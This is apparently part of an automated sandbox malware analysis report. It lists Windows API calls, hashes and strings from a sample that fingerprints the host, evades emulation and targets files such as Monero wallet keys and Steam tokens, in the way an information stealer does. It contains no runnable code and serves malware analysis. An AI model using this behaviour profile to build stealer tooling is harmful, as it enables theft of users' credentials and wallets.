Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 683d2d466554f7cea2ee9be7f44420731b57305412144d5e2363104128d0a2e7
Instruction ID: e932fec4d3a8446931cd9bad2be2234629087eb5df3f1462b2d7c4cb5f612fc7
Opcode Fuzzy Hash: 683d2d466554f7cea2ee9be7f44420731b57305412144d5e2363104128d0a2e7
Instruction Fuzzy Hash: 7D01D6B1904304EBD700DF88CC85BABBBB8F744B11F10421AF501E7280C37869008BA2

Function 004B9470 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 004B9484
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 004B94A5
CloseHandle.KERNEL32(00000000), ref: 004B94AF

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 3d4b306e4dc020d7ea34903c4de188fb7282e2bcb6a0151be0b96b988ba0b0c0
Instruction ID: 4a710eda2c4cd9badc91f5d85e8e09b6e2203ab852b9a58e10788d478a034e49
Opcode Fuzzy Hash: 3d4b306e4dc020d7ea34903c4de188fb7282e2bcb6a0151be0b96b988ba0b0c0
Instruction Fuzzy Hash: 10F0307490020CBBDB04DF94DC8AFEA7774EB08300F004458BA095B290D6B46E85CB91

Function 004A1110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 004A112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 004A1132
ExitProcess.KERNEL32 ref: 004A1143

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 39b9d980a8c318da12bb6449944ff4ccda50f715a3d981ed06f7ecb86b619065
Instruction ID: ed9ff0e18b69448a030c42143aa2999abcff18c5ac3803eacd3fca341d8cce01
Opcode Fuzzy Hash: 39b9d980a8c318da12bb6449944ff4ccda50f715a3d981ed06f7ecb86b619065
Instruction Fuzzy Hash: 54E08674945348FFE710ABE09C0AB097AB9AB04B01F105045F7087A1D0D6B436009A99

Function 004B1A10 Relevance: 3.9, APIs: 2, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004BA740: lstrcpy.KERNEL32(004C0E17,00000000), ref: 004BA788

Part of subcall function 004BA9B0: lstrlen.KERNEL32(?,00FD8CC8,?,\Monero\wallet.keys,004C0E17), ref: 004BA9C5
Part of subcall function 004BA9B0: lstrcpy.KERNEL32(00000000), ref: 004BAA04
Part of subcall function 004BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 004BAA12

Part of subcall function 004BA8A0: lstrcpy.KERNEL32(?,004C0E17), ref: 004BA905

Part of subcall function 004B7500: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 004B7542
Part of subcall function 004B7500: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 004B757F
Part of subcall function 004B7500: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004B7603
Part of subcall function 004B7500: RtlAllocateHeap.NTDLL(00000000), ref: 004B760A

Part of subcall function 004BA920: lstrcpy.KERNEL32(00000000,?), ref: 004BA972
Part of subcall function 004BA920: lstrcat.KERNEL32(00000000), ref: 004BA982

Part of subcall function 004B7690: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004B76A4
Part of subcall function 004B7690: RtlAllocateHeap.NTDLL(00000000), ref: 004B76AB

Part of subcall function 004B77C0: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,004BDBC0,000000FF,?,004B1C99,00000000,?,00FDD6E8,00000000,?), ref: 004B77F2
Part of subcall function 004B77C0: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,004BDBC0,000000FF,?,004B1C99,00000000,?,00FDD6E8,00000000,?), ref: 004B77F9

Part of subcall function 004B7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004A11B7), ref: 004B7880
Part of subcall function 004B7850: RtlAllocateHeap.NTDLL(00000000), ref: 004B7887
Part of subcall function 004B7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 004B789F

Part of subcall function 004B78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004B7910
Part of subcall function 004B78E0: RtlAllocateHeap.NTDLL(00000000), ref: 004B7917
Part of subcall function 004B78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 004B792F

Part of subcall function 004B7980: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,004C0E00,00000000,?), ref: 004B79B0
Part of subcall function 004B7980: RtlAllocateHeap.NTDLL(00000000), ref: 004B79B7
Part of subcall function 004B7980: GetLocalTime.KERNEL32(?,?,?,?,?,004C0E00,00000000,?), ref: 004B79C4
Part of subcall function 004B7980: wsprintfA.USER32 ref: 004B79F3

Part of subcall function 004B7A30: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,00FDF130,00000000,?,004C0E10,00000000,?,00000000,00000000), ref: 004B7A63
Part of subcall function 004B7A30: RtlAllocateHeap.NTDLL(00000000), ref: 004B7A6A
Part of subcall function 004B7A30: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,00FDF130,00000000,?,004C0E10,00000000,?,00000000,00000000,?), ref: 004B7A7D

Part of subcall function 004B7B00: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,00FDF130,00000000,?,004C0E10,00000000,?,00000000,00000000), ref: 004B7B35

Part of subcall function 004B7B90: GetKeyboardLayoutList.USER32(00000000,00000000,004C05AF), ref: 004B7BE1
Part of subcall function 004B7B90: LocalAlloc.KERNEL32(00000040,?), ref: 004B7BF9
Part of subcall function 004B7B90: GetKeyboardLayoutList.USER32(?,00000000), ref: 004B7C0D
Part of subcall function 004B7B90: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 004B7C62
Part of subcall function 004B7B90: LocalFree.KERNEL32(00000000), ref: 004B7D22

Part of subcall function 004B7D80: GetSystemPowerStatus.KERNEL32(?), ref: 004B7DAD

GetCurrentProcessId.KERNEL32(00000000,?,00FDD4C8,00000000,?,004C0E24,00000000,?,00000000,00000000,?,00FDEF80,00000000,?,004C0E20,00000000), ref: 004B207E

Part of subcall function 004B9470: OpenProcess.KERNEL32(00000410,00000000,?), ref: 004B9484
Part of subcall function 004B9470: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 004B94A5
Part of subcall function 004B9470: CloseHandle.KERNEL32(00000000), ref: 004B94AF

Part of subcall function 004B7E00: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004B7E37
Part of subcall function 004B7E00: RtlAllocateHeap.NTDLL(00000000), ref: 004B7E3E
Part of subcall function 004B7E00: RegOpenKeyExA.KERNEL32(80000002,00FCC000,00000000,00020119,?), ref: 004B7E5E
Part of subcall function 004B7E00: RegQueryValueExA.KERNEL32(?,00FDD708,00000000,00000000,000000FF,000000FF), ref: 004B7E7F
Part of subcall function 004B7E00: RegCloseKey.ADVAPI32(?), ref: 004B7E92

Part of subcall function 004B7F60: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 004B7FC9
Part of subcall function 004B7F60: GetLastError.KERNEL32 ref: 004B7FD8

Part of subcall function 004B7ED0: GetSystemInfo.KERNEL32(004C0E2C), ref: 004B7F00
Part of subcall function 004B7ED0: wsprintfA.USER32 ref: 004B7F16

Part of subcall function 004B8100: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,00FDF070,00000000,?,004C0E2C,00000000,?,00000000), ref: 004B8130
Part of subcall function 004B8100: RtlAllocateHeap.NTDLL(00000000), ref: 004B8137
Part of subcall function 004B8100: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 004B8158
Part of subcall function 004B8100: wsprintfA.USER32 ref: 004B81AC

Part of subcall function 004B87C0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,004C0E28,00000000,?), ref: 004B882F
Part of subcall function 004B87C0: RtlAllocateHeap.NTDLL(00000000), ref: 004B8836
Part of subcall function 004B87C0: wsprintfA.USER32 ref: 004B8850

Part of subcall function 004B8320: RegOpenKeyExA.KERNEL32(00000000,00FDAE90,00000000,00020019,00000000,004C05B6), ref: 004B83A4

Part of subcall function 004B8320: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 004B8426
Part of subcall function 004B8320: wsprintfA.USER32 ref: 004B8459
Part of subcall function 004B8320: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 004B847B
Part of subcall function 004B8320: RegCloseKey.ADVAPI32(00000000), ref: 004B848C
Part of subcall function 004B8320: RegCloseKey.ADVAPI32(00000000), ref: 004B8499

Part of subcall function 004B8680: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,004C05B7), ref: 004B86CA
Part of subcall function 004B8680: Process32First.KERNEL32(?,00000128), ref: 004B86DE
Part of subcall function 004B8680: Process32Next.KERNEL32(?,00000128), ref: 004B86F3
Part of subcall function 004B8680: CloseHandle.KERNEL32(?), ref: 004B8761

lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 004B265B

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$Allocate$Closewsprintf$NameOpenlstrcpy$InformationLocal$CurrentHandleInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUserlstrcatlstrlen$AllocComputerCreateDefaultDirectoryEnumErrorFileFirstFreeGlobalLastLogicalMemoryModuleNextPowerProcessorQuerySnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID:
API String ID: 60318822-0
Opcode ID: cb383ba7c4d2da7965f2b9300aad87b90b79949aa7d9f6bdca96a1b0e6efbe46
Instruction ID: 878b989f536492b0ff81cb6ba9380b47a986f5708341965f5a741bab6445d4fe
Opcode Fuzzy Hash: cb383ba7c4d2da7965f2b9300aad87b90b79949aa7d9f6bdca96a1b0e6efbe46
Instruction Fuzzy Hash: 8B725E72C10118BADB19FBA1DCA2EEE733CAF54304F50469FB11662451EF342B5ACA79

Function 004A6D40 Relevance: 3.2, APIs: 2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5de135b8eee8e13f0675d96123453510b22b813daa67f9d6a545832fb072a8b3
Instruction ID: bff9d04792368d5e32d0f5357ec7cbdc7f4e88525c05011040912eb7845f93b2
Opcode Fuzzy Hash: 5de135b8eee8e13f0675d96123453510b22b813daa67f9d6a545832fb072a8b3
Instruction Fuzzy Hash: 336146B4900208EFCB14CF94E984BEFB7B1BB19304F19819AE41967380D739AE84DF95

Function 004B5100 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004BA740: lstrcpy.KERNEL32(004C0E17,00000000), ref: 004BA788

Part of subcall function 004BA820: lstrlen.KERNEL32(004A4F05,?,?,004A4F05,004C0DDE), ref: 004BA82B
Part of subcall function 004BA820: lstrcpy.KERNEL32(004C0DDE,00000000), ref: 004BA885

lstrlen.KERNEL32(00000000,00000000,004C0ACA), ref: 004B512A

Strings

steam_tokens.txt, xrefs: 004B513F

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: 216940c0a96d3404ca442c58a69aba6aa3e75802991bf7679354a1ea6d894288
Instruction ID: c24ddfc48ec9cf340a49f4ac35f65e2f0d59111036f9195cd720fa62b36ac392
Opcode Fuzzy Hash: 216940c0a96d3404ca442c58a69aba6aa3e75802991bf7679354a1ea6d894288
Instruction Fuzzy Hash: 5FF06D35C0010876CB08FBB6DC53EED733CAB64308F40415EB45262492EF2C6629C6BA

Function 004B7ED0 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(004C0E2C), ref: 004B7F00
wsprintfA.USER32 ref: 004B7F16

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
